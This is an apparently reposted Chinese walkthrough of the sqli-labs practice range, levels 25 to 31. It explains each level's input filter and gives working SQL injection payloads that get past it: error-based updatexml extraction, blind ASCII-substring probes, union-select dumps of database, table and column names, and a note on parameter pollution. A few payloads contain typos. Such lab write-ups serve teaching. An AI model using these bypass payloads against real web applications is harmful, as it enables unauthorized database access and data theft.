以sqlilabs靶场为例,讲解SQL注入攻击原理【25-31关】

【Less-25】

首先分析源码

发现把 SQL语句中的 or、and 替换成了空格,这就导致无法使用之前的sql注入方式。

解决方案:用 && 代替 and , 用 || 代替 or , 而且&在url中有特殊含义,如果直接使用会有问题,所以还需要对&&进行urlencode编码处理。

?id=1' and 1=1 -- aaa改为
?id=1' && 1=1 -- aaa  # 由于&在url中有特殊含义,如果直接使用会有问题,所以还需要对&&进行urlencode编码处理。最终为:?id=1'%26%26 1=1 -- aaa 

结果正常显示,不在报SQL语句错误。

获取数据库名之后,按照步骤获取数据表名,却出现了错误。

写入的information_schema 被换成了 infmation,中间的or被替换了""。

解决方案:information_schema  写成 infoorrmation 。

完整步骤:

#第一步 获取数据库名?id=1'|| updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- aaa #也可以使用&&的urlencode#第二步 获取数据表名?id=1'|| updatexml(1,concat(0x7e,(SELECT table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- aaa#第三步 获取数据表字段名(将其中的and 转换为&&的urlencode)?id=1'|| updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() %26%26 table_name='emails' ),0x7e),1)-- aaa

最后渗透结果如下:

【Less-26】

首先分析源码

可以发现and、or、-- 、#、空格都被转义了,说明在注入的时候就不能用这些了。

尝试用 && 或 || 来代替 and、or ,用'1'='1 代替之前的注释--

# 注入获取数据库名?id=1' ||updatexml(1,concat(0x7e,(select database()),0x7e),1) || '1'='1

发现select database()中间的空格被替换了,此时更改代码,用括号代替空格。

# 获取数据库名?id=1' ||updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1

结果正常显示数据库名

其他步骤基本和Less-25相似,如下:

# 获取数据表名?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1'='1# 获取数据字段
?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26(table_name='emails'))),0x7e),1) || '1'='1

结果:

【Less-27】

源码分析:

较比Less-26,Less-27注释的更多,可以发现-- 、#、select、union、+、空格都被转义了,说明在注入的时候就不能用这些了。

解题步骤与Less-26类似,最大的区别就是不要直接用select,可以用sElect或其他大小写组合的名字代替。

完整步骤如下:

# 获取数据库名?id=1' || updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1# 获取数据表名,可以用sElect 代替select ,用%0a代替空格?id=1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database()%0a),0x7e),1) || '1'='1# 获取数据字段
?id=1' || updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_schema=database()%26%26(table_name='emails'))),0x7e),1) || '1'='1

结果为:

【Less-28】

源码分析:

和上一题类似,也有诸多注释,特别是不能使用select和union,而且大小写都不行。还有注入的是id 用了括号和引号。

解决方案:采用盲注的方式解决

# 获取数据库名字的长度?id=1')and(length(database())=8)and('1')=('1# 获取数据库的具体名字,可以使用BurpSuite工具
?id=1')and(ascii(substr(database(),1,1))=115)and('1')=('1# 获取数据表名
?id=1')and(ascii(substr((select%0atable_name%0afrom%0ainformation_scheam.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1)))=101%0aand('1')=('1# 获取数据字段
?id=1')and(ascii(substr((select%0acolumn_name%0afrom%0ainformation_schema.columns%0awhere%0atbale_name='emails'%0alimit%0a0,1),1,1)))=105%0aand('1')=('1

这里可以使用BurpSuite软件进行参数更改,实现快速找到对应的值。

获取的数据库名为Security,数据表名emails。

【Less-29】

简单的单引号闭合,具体的解决方案如下:

# 获取数据库?id=-1' union select 1,2,database() -- aaa# 获取数据表?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

【Less-30】

简单的双引号闭合,具体的解决方案如下:

# 获取数据库?id=-1" union select 1,2,database() -- aaa# 获取数据表?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据字段?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

 【Less-31】

简单的双引号和括号闭合,具体的解决方案如下:

# 获取数据库?id=-1") union select 1,2,database() -- aaa# 获取数据表?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aaa# 获取数据字段?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' -- aaa

 Ps:这里的Less-29 到 Less-31 讲解的是一个参数污染的问题,因为需要配置两个环境,一个tomcat(jsp),一个Apache(php),首先请求会经过jsp过滤然后再传给php,然后将经过php服务器处理完之后又返回给isp服务器,从而显示到客户端,这里我们可以利用参数污染的方式给他两个传参,他会将第一个传参给jsp处理,而第二个传参交给了php处理。

关于参数污染的文章可以参考:https://www.cnblogs.com/wjrblogs/p/12966636.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/21584.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue3(Ⅱ)

Vue3(Ⅱ) 3、 进阶 —— 路由 3.1、示例 3.2、to 的两种写法 3.3、命令路由 3.4、嵌套路由 3.5、query 参数 3.6、params 参数 3.7、路由的 props 配置 3.8、replace 属性 3.9、编程式导航 3.10、重定向4、 进阶 —— Pin…

上海公司注销剩下的专利怎么办

上海公司注销剩下的专利怎么办 公司都注销了,想起来公司还有之前申请的专利、商标没有过户!! 上次沟通一家已经注销的企业股东说到。 那么公司注销了,企业之前申请的专利、商标还有用吗? 其实这个要具体分析一下情…

LayerSkip:加速大模型推理的端到端解决方案

大模型(LLMs)在多种应用中表现出色,但其高昂的计算和内存需求导致部署成本昂贵,尤其是在GPU服务器上。现有加速方案在部署到普通GPU时往往会导致准确性显著下降,而将大模型(LLMs)进一步加速以部…

Java邮件客户端设计实现:使用JavaMail向QQ邮箱发邮件

目录 JavaMail 用JavaMail向qq邮箱发消息 ▐ 授权码的获取 JavaMail JavaMail 是一个用于发送和接收电子邮件的 Java API。它提供了一个平台无关和协议无关的框架,允许开发人员通过标准电子邮件协议(如 SMTP、POP3 和 IMAP)来创建、发送…

网络工程师---第四十六天

1、逻辑网络结构设计阶段中,要想实现核心层与汇聚层交换机全部互相连接,组网技术有哪些? 2、工作区子系统的通信布线规范有哪些? 3、综合布线中施工规范有哪些? 4、综合布线系统中核心机房通常包括哪些设备&#xff1f…

SpringBoot——整合拦截器(Interceptor)

目录 拦截器(Interceptor) 项目总结 新建一个SpringBoot项目​编辑 MyInterceptor自定义拦截器 InterceptorConfig配置类 InterceptorController控制器 SpringbootInterceptorApplication启动类 在开发SpringBoot项目时,开发人员经常需要…

Python 语法深度探索:揭秘编程的奥秘与魅力

Python 语法深度探索:揭秘编程的奥秘与魅力 Python,这门简洁而强大的编程语言,自诞生以来便以其易读性、清晰性和扩展性赢得了众多开发者的青睐。然而,Python语法的深度和广度却常常让人在探索中感到困惑,同时也在理解…

SAP-FICO总账科目案例

1、资产科目 2、负债科目

2024-05-30 vscode python不能调试

点击 <C 语言编程核心突破> 快速C语言入门 vscode python不能调试 前言一、自我升级python后, 各种问题, 今天是不能调试二、安装expat库总结 前言 要解决问题: from pyexpat import * ImportError: DLL load failed while importing pyexpat: 找不到指定的程序。 想到…

计网期末复习指南(三):数据链路层(CRC冗余校验码计算、PPP协议、CSMA/CD协议、交换机的自学习能力、VLAN)

前言&#xff1a;本系列文章旨在通过TCP/IP协议簇自下而上的梳理大致的知识点&#xff0c;从计算机网络体系结构出发到应用层&#xff0c;每一个协议层通过一篇文章进行总结&#xff0c;本系列正在持续更新中... 计网期末复习指南&#xff08;一&#xff09;&#xff1a;计算…

iOS 通过PacketLogger 抓包蓝牙数据包

当使用iOS平台调试蓝牙外设时&#xff0c;需要抓取蓝牙数据包&#xff0c;那么如何获取iOS端设备与蓝牙设备之间通信的蓝牙数据包呢&#xff1f; 一、资料准备 1、苹果手机 2、Xcode开发工具 3、Apple开发者账户 二、环境搭建 2.1、手机环境搭建 手机浏览器访问地址&…

Meta的开源力作:Lexical框架,富文本的未来

引言 Lexical 是一个由 Facebook&#xff08;现在称为 Meta&#xff09;开源的可扩展 JavaScript Web 文本编辑器框架。 这个框架特别强调了三个核心特性&#xff1a;可靠性、可访问性以及高性能。 旨在为开发者创造最优的开发体验。 以下是 Lexical 框架的几个关键特点和能…

使用conda环境安装pythonocc-core

conda环境安装pythonocc库 基本环境 操作系统:Ubuntu 22.04 conda 23.11.0 安装pythonocc-core conda create --name pyocc python3.10 conda activate pyocc conda install -c conda-forge pythonocc-core7.8.1也可参考下面的官方地址 pythonocc-core 官方git地址 conda官…

Create Mode Waveguide Element (模式波导仿真的数据用于 INTERCONNECT 中)

Create Mode Waveguide Element 模式波导仿真的数据用于 INTERCONNECT 中 引言正文模式求解引言 本文,我们介绍如何将如何创建一个可以让用户导入频率相关的性质(比如有效折射率,损耗,群速度,色散等等)到 INTERCONNECT 中的 Mode Waveguide 器件。该器件可以是来自 Mode…

苏宁电商数据揭秘:掌握苏宁API接口,一键解锁无限商机

苏宁API接口是一套开放的、基于HTTP协议的接口&#xff0c;它允许开发者通过编程方式访问苏宁平台上的商品、订单、用户等信息。这些接口支持多种数据格式&#xff0c;如JSON和XML&#xff0c;并提供了完善的错误处理和权限控制机制。 要使用苏宁API接口&#xff0c;首先需要在…

wireshark 二次开发

一、 Windows 准备 1、源代码下载 Git&#xff1a;https://github.com/wireshark/wireshark 2、 准备Visual C 要编译wireshark&#xff0c;开发电脑上应该安装了Visual Studio并包括了Visual C&#xff0c;请至少安装Visual Studio 2010以减少不必要的麻烦。 visual studio …

媳妇面试了一家公司,期望月薪20K,对方没多问就答应了,只要求3天内到岗,可我总觉得哪里不对劲。

“20k&#xff01;明天就来上班吧&#xff01;” 听到这句话&#xff0c;你会不会两眼放光&#xff0c;激动得差点跳起来&#xff1f; 朋友媳妇小丽&#xff0c;最近就经历了这样一场“梦幻面试”。然而&#xff0c;事情的发展却远没有想象中那么美好…… “这公司也太好了吧…

新闻发稿:14种新闻媒体推广中的成功案例-华媒舍

新闻媒体推广是企业宣传与推广的重要手段之一。通过合理选择和运用新闻媒体&#xff0c;企业可以有效地提升品牌知名度和影响力&#xff0c;吸引更多的目标受众。本文将介绍14种新闻媒体推广中的成功案例&#xff0c;通过这些案例的分享&#xff0c;希望能为企业在新闻媒体推广…

AWS EC2服务器开启root密码,SSH登录

1) EC2 Instance Connect连接&#xff0c;更改root密码 sudo passwd root 2&#xff09;接着切换到切换到 root 身份&#xff0c;编辑 SSH 配置文件 $ sudo -i$ vi /etc/ssh/sshd_configPasswordAuthentication no&#xff0c;把 no 改成 yes #PermitRootLogin prohibit-passw…

论文降重技巧:AI工具如何助力论文原创性提升?

论文降重一直是困扰各界毕业生的“拦路虎”&#xff0c;还不容易熬过修改的苦&#xff0c;又要迎来降重的痛。 其实想要给论文降重达标&#xff0c;我有一些独家秘诀。话不多说直接上干货&#xff01; 1、同义词改写&#xff08;针对整段整句重复&#xff09; 这是最靠谱也是…